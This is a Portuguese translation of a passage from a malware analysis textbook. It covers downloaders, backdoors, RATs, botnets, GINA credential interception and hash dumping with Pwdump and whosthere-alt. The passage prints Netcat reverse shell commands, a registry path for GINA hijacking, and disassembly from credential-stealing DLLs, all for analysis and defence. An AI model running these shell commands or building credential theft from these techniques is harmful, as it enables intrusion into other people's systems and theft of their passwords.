
A análise de malware se assemelha a um jogo de gato e rato: sem regras, a situação está mudando constantemente. Portanto, neste caso, faz sentido estudar apenas coisas e algoritmos atemporais. Assim que se depara com a tarefa de proteger a rede (ou mil redes), você prossegue com essa análise e simplesmente não consegue ficar sem este livro.
Programas para baixar e executar software
Existem dois tipos de malware frequentemente encontrado, projetados para baixar e executar software. Os downloaders (que não devem ser confundidos com os downloaders do sistema) simplesmente baixam códigos maliciosos adicionais da Internet e os executam em um computador local. Eles são frequentemente distribuídos junto com a exploração. Eles geralmente usam duas chamadas de API do Windows, uma após a outra, para baixar e executar malware adicional: URLDownloadtoFileA e WinExec.
Launcher (launcher) é um arquivo executável que instala aplicativos maliciosos para sua execução oculta (imediatamente ou após algum tempo). Os lançadores geralmente vêm com o software necessário para executar. Vamos discuti-los no capítulo 12.
Backdoors
Backdoors são programas que fornecem ao invasor acesso ao computador da vítima. Eles são o tipo de malware mais detectável e seu tamanho e conjunto de recursos podem variar significativamente. O código de backdoor geralmente é independente e não requer o download de arquivos infectados adicionais.
Os backdoors interagem pela Internet de várias maneiras diferentes, mas os dados geralmente são transmitidos por HTTP pela porta 80. O HTTP compõe a maior parte do tráfego de rede de saída, o que oferece ao malware uma grande oportunidade de passar despercebido no contexto de outras informações.
No Capítulo 14, você aprenderá como analisar backdoors no nível de pacote, criando assinaturas de rede eficazes. Enquanto isso, vamos nos concentrar na interação de alto nível.
Os backdoors vêm com um conjunto padrão de funções: a capacidade de manipular chaves do registro, contar as janelas exibidas, criar diretórios, procurar arquivos etc. Para entender quais delas são usadas pelo backdoor, você pode verificar quais funções da API do Windows são importadas. O Apêndice A fornece uma lista de funções comuns que descrevem o que eles podem dizer sobre o malware.
Shell de Comando Reverso
Um shell de comando reverso é uma conexão que inicia um computador infectado, dando acesso ao comando de um invasor. Pode ser um programa malicioso separado ou um dos componentes de um backdoor mais complexo. Enquanto estiver no shell de comando reverso, um invasor pode executar comandos como se tudo isso estivesse acontecendo em seu sistema local.
Shell de comando reverso do Netcat
O programa Netcat que discutimos no capítulo 3 pode ser usado para criar um shell de comando se você o executar em dois computadores. Os invasores costumam usá-lo por conta própria, além de complementá-lo com outros malwares.
Para usar o Netcat como tal, o sistema remoto deve aguardar as conexões de entrada usando o seguinte comando:
nc -l –p 80
A opção -l alterna o Netcat para o modo de escuta e a opção -p determina a porta que está sendo monitorada. Em seguida, o computador da vítima inicia uma conexão de saída e fornece seu shell de comando:
nc _ip 80 -e cmd.exe
O ouvinte do ip 80 é o endereço IP e a porta do host remoto. A opção -e permite especificar o programa que será executado quando a conexão for estabelecida. Sua entrada e saída padrão serão vinculadas ao soquete (como você verá mais adiante, o Windows geralmente usa o cmd.exe).
Shell reverso do Windows
Os invasores usam duas implementações simples de shell de comando reverso baseadas em cmd.exe no Windows: básica e multiencadeada.
O método básico é popular entre os autores de malware, pois é mais fácil de implementar e geralmente não funciona pior do que uma abordagem multithread. Baseia-se em chamar CreateProcess e alterar a estrutura STARTUPINFO que é passada para ele. Primeiro, um soquete é criado e uma conexão é estabelecida com o servidor remoto. Em seguida, esse soquete é anexado aos threads padrão (entrada, saída e fluxo de erro) do processo cmd.exe. O CreateProcess executa o cmd.exe no modo sem janelas para ocultá-lo da vítima. O capítulo 7 dá um exemplo dessa técnica.
Uma versão multithread do shell de comando reverso do Windows implica criar um soquete, dois pipes e dois threads (portanto, você deve procurar pelas chamadas CreateThread e CreatePipe). Às vezes, esse método é usado pelos autores de malware como parte de uma estratégia para modificar ou codificar dados transmitidos por um soquete. A função CreatePipe pode ser usada para ligar às extremidades de leitura e gravação do canal, como entrada padrão (stdin) e saída padrão (stdout). A função CreateProcess permite vincular threads padrão a um canal, e não diretamente a um soquete. Após chamá-lo, o malware criará dois threads de execução: um para leitura do canal stdin e gravação no soquete, e outro para leitura do soquete e gravação no canal stdout. Normalmente, esses encadeamentos são dados de codificação, que discutiremos no Capítulo 13. Usando métodos de engenharia reversa, é possível examinar as ramificações nas quais os fluxos decodificam pacotes recebidos durante uma sessão criptografada.
Ferramentas de administração remota
As ferramentas de administração remota (RATs) são usadas para controlar um computador ou computadores em uma rede. Eles geralmente estão envolvidos em ataques direcionados de maneira restrita - por exemplo, ao roubar informações ou passar de um computador para outro.
Na fig. 11.1 mostra a estrutura de rede do RAT. O servidor em execução no sistema da vítima está equipado com código malicioso. O cliente trabalha remotamente porque o módulo de controle está à disposição do invasor. Os servidores sinalizam o cliente que os controla para iniciar a conexão. O interfuncionamento no RAT geralmente ocorre através de portas padrão, como 80 ou 443.
Botnets
Uma botnet é uma coleção de nós de rede infectados (zumbis) gerenciados centralmente, geralmente usando um servidor chamado controlador de botnet. O objetivo da botnet é infectar o maior número possível de computadores e criar uma rede de larga escala com base neles, que pode ser usada para espalhar outros malwares ou spam e para executar ataques DDoS (negação de serviço distribuída). ) Se todos os zumbis ao mesmo tempo começarem a atacar um determinado site, isso poderá se tornar inacessível.
Comparação de RAT e Botnets
Existem várias diferenças importantes entre botnets e ferramentas de administração remota.
- As redes de bots são conhecidas por infectar e controlar milhões de nós. Os RATs geralmente são executados por muito menos computadores.
- Todos os participantes da botnet são gerenciados simultaneamente. O RAT permite distribuir recursos entre diferentes vítimas, porque um invasor tem a capacidade de interagir mais de perto com os sistemas infectados.
- Os RATs são usados em ataques de alvo restrito, enquanto as redes de bots são notáveis por seu grande número.
Roubo de credenciais
Os atacantes costumam fazer todo tipo de truque para roubar credenciais. Isto é especialmente verdade para os três tipos de malware.
- Programas que roubam credenciais do usuário no momento em que ele efetua login no sistema.
- Programas que copiam as informações armazenadas no Windows (senhas, hashes etc.) para uso direto ou descriptografia adicional.
- Programas que gravam pressionamentos de tecla.
Nesta seção, examinamos cada um desses tipos de malware.
Interceptação GINA
O Windows XP usa um truque para roubar credenciais, que consiste em interceptar a GINA (identificação e autenticação gráfica). O sistema GINA foi criado para permitir que aplicativos de terceiros adaptem o processo de login, adicionando suporte a tecnologias como identificação por radiofreqüência (RFID) baseada em tokens ou cartões inteligentes. Os autores de malware aproveitam a oportunidade para baixar o código que rouba credenciais.
GINA é implementada como uma DLL chamada msgina.dll e é carregada pelo Winlogon durante o logon. O Winlogon também oferece suporte a plug-ins de terceiros, carregando-os na frente da DLL da GINA (como em um ataque intermediário). Por conveniência, o Windows fornece a seguinte ramificação do Registro, onde o Winlogon pode encontrar e carregar DLLs de terceiros:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
Uma vez que encontramos um arquivo fsgina.dll infectado lá, que acabou por ser um interceptador da GINA.
Na fig. A Figura 11.2 mostra um exemplo de como as informações de login chegam a uma biblioteca maliciosa, passando do Winlogon para o msgina.dll. O malware (fsgina.dll) consegue interceptar todas as credenciais inseridas pelo usuário durante a autenticação. Ele pode gravá-lo em disco ou transferir pela rede.
Como a biblioteca fsgina.dll intercepta o fluxo de interação entre o Winlogon e a GINA, ela deve ser repassada para o msgina.dll para que o sistema continue funcionando normalmente. Para fazer isso, o malware precisa exportar todas as funções que o sistema GINA exige - há mais de 15 delas e a maioria delas possui o prefixo Wlx. Obviamente, se você encontrar na DLL muitas funções de exportação que iniciam com o Wlx, provavelmente pode assumir que este é um interceptador da GINA.
A maioria dessas chamadas de exportação acessa funções reais dentro do msgina.dll. No caso de fsgina.dll, isso se aplica a todas as funções, exceto WlxLoggedOutSAS. A Listagem 11.1 mostra a exportação de WlxLoggedOutSAS para fsgina.dll.
Listagem 11.1. Função de exportação WlxLoggedOutSAS na DLL GINA que registra credenciais roubadas
100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2)
As informações da credencial são transferidas imediatamente para o arquivo msgina.dll usando uma chamada designada como Call_msgina_dll_function (1). Essa função localiza e inicia dinamicamente a chamada WlxLoggedOutSAS do msgina.dll, que é especificado como argumento. Uma chamada on-line (2) registra dados. Como argumentos, são necessárias informações contábeis, uma sequência de formato com a qual essas informações serão exibidas e um nome de arquivo para gravação. Como resultado, as informações sobre qualquer logon bem-sucedido são salvas no arquivo% SystemRoot% \ system32 \ drivers \ tcpudp.sys. Este arquivo contém o nome de usuário, domínio e duas senhas - a atual e a antiga.
Salvando Hashes
O software malicioso no Windows geralmente salva os hashes do sistema para obter acesso às credenciais. Após salvar, os atacantes tentam descriptografar esses hashes offline ou usá-los para atacar como pass-the-hash. Durante esse ataque, os hashes LM e NTLM são usados para autenticação remota NTLM, que não requer descriptografia e obtenção da senha correspondente.
Para salvar os hashes, existem pacotes de software Pwdump e Pass-the-Hash (PSH) gratuitos. Como essas duas ferramentas são de código aberto, muitos malwares foram criados com base.
A maioria dos antivírus possui assinaturas para as versões compiladas padrão desses utilitários; portanto, os invasores geralmente tentam compilar suas próprias variações para evitar a detecção. Os exemplos neste capítulo são os tipos de pwdump e PSH que encontramos na vida real.
Pwdump é um conjunto de programas que produzem hashes no formato LM i NTLM pertencentes a usuários locais a partir do gerenciador de contas de segurança (SAM). O Pwdump injeta a DLL no processo LSASS (serviço de subsistema da autoridade de segurança local), mais conhecido como lsass.exe. Discutiremos a implementação de DLLs no capítulo 12, mas, por enquanto, você só precisa saber que essa é uma técnica através da qual o malware executa bibliotecas dentro de outros processos, usando todos os seus privilégios. As ferramentas para salvar hashes geralmente atacam o processo lsass.exe porque ele possui privilégios e acesso suficientes a muitas funções úteis da API.
A versão padrão do Pwdump usa a biblioteca lsaext.dll. Quando é injetado no lsass.exe, ele chama a função GetHash, que é exportada do lsaext.dll para recuperar os hashes. Ao mesmo tempo, são utilizadas funções não documentadas do Windows, que permitirão obter números de série de todos os usuários no sistema e hashes não criptografados da senha de cada um deles.
Diante da variação do Pwdump, você precisa analisar suas bibliotecas para entender como os hashes são salvos. A primeira coisa que você deve prestar atenção às funções de exportação. A chamada GetHash é exportada do Pwdump por padrão, mas os invasores podem facilmente mudar seu nome para torná-lo menos reconhecível. Em seguida, tente determinar as funções usadas nas chamadas de exportação. Muitos deles podem ser localizados dinamicamente; portanto, as chamadas de exportação geralmente reutilizam a operação GetProcAddress.
A Listagem 11.2 mostra o código da função de exportação GrabHash da DLL de uma versão do Pwdump. Como a biblioteca está incorporada no lsass.exe, antes de usar muitos caracteres, primeiro é preciso encontrá-los no modo manual.
Listagem 11.2. Chamadas de API exclusivas usadas pela função de exportação GrabHash em uma das variantes do Pwdump
1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress
A Listagem 11.2 mostra o código para recuperar os descritores da biblioteca samsrv.dll (1) e advapi32.dll (2) chamando LoadLibrary. O arquivo samsrv.dll contém uma API para facilitar o acesso ao SAM, e o arquivo advapi32.dll foi encontrado para acessar funções que não foram importadas para o lsass.exe. A biblioteca dinâmica dessa variação Pwdump usa os descritores dessas bibliotecas para procurar muitas funções. Os cinco mais importantes são mostrados na lista (observe as chamadas GetProcAddress e seus argumentos).
Chamadas interessantes como SamIConnect, SamrQueryInformationUser e SamIGetPrivateData são importadas do samsrv.dll. A chamada SamIConnect é usada posteriormente para conectar-se ao SAM, após o qual a função SamrQueryInformationUser é chamada para cada usuário no sistema.
Os hashes são recuperados usando a chamada SamIGetPrivateData e descriptografados usando as funções SystemFunction025 e SystemFunction027 importadas do advapi32.dll (linhas (2) e (3)). Nenhuma das funções da API nesta lista está descrita na documentação oficial.
O PSH Toolkit contém programas que criam despejos de hash. O mais popular desses lixões é conhecido como whosthere-alt. Ele armazena o conteúdo SAM obtido incorporando a DLL no lsass.exe. Ao mesmo tempo, quando comparado ao Pwdump, um conjunto completamente diferente de funções da API é usado. A Listagem 11.3 mostra o código da versão para whosthere-alt, que exporta uma função chamada TestDump.
Listagem 11.3. Chamadas de API exclusivas usadas pela função de exportação TestDump da versão whosthere-alt
10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2)
Como essa biblioteca está incorporada no lsass.exe, sua função TestDump cria um despejo de hash. Ele carrega dinamicamente o arquivo secur32.dll e localiza a chamada LsaEnumerateLogonSessions (1) para obter uma lista de identificadores exclusivos localmente (LUIDs). Esta lista contém os nomes e domínios que foram indicados em cada login. A biblioteca passa por eles para obter acesso às informações contábeis. Para fazer isso, usando uma chamada para GetModuleHandle (2), ela procura no msv1_0.dll uma função não exportada, NlpGetPrimaryCredential, que permite o descarte de hashes NT e LM.
Sobre autores
Michael Sikorski é especialista em segurança da Mandiant. Ele está envolvido na análise de malware como parte de uma investigação de incidente e é consultor do governo dos EUA para segurança da informação. Michael desenvolveu uma série de cursos de análise de malware e os ensina a um público diverso, incluindo o FBI e o Black Hat. Antes de Mandiant, ele era um funcionário do Laboratório Lincoln no Instituto de Tecnologia de Massachusetts e realizou pesquisas sobre topologia de rede passiva e testes de penetração. Além disso, Michael concluiu um programa de treinamento interdisciplinar de três anos em sistemas e redes na NSA. Durante o treinamento, ele participou do estudo de técnicas de engenharia reversa e recebeu vários prêmios no campo de análise de redes.
Andrew Honig é especialista em segurança da informação no Departamento de Defesa dos EUA. Ele ensina análise de software, engenharia reversa e programação para o sistema operacional Windows (OS) na National School of Cryptography, enquanto é especialista em segurança de sistemas de informação certificado. Por conta de Andrew, várias explorações de dia zero para a virtualização VMware, bem como ferramentas para detectar malware inovador, incluindo módulos de kernel infectados. Com dez anos de experiência como analista no campo da segurança de computadores, ele é considerado um especialista em análise e interpretação de programas maliciosos e comuns.
»Mais informações sobre o livro podem ser encontradas no
site do editor»
Conteúdo»
TrechoPara Khabrozhiteley, um desconto de 20% no cupom -
uma autópsia será exibida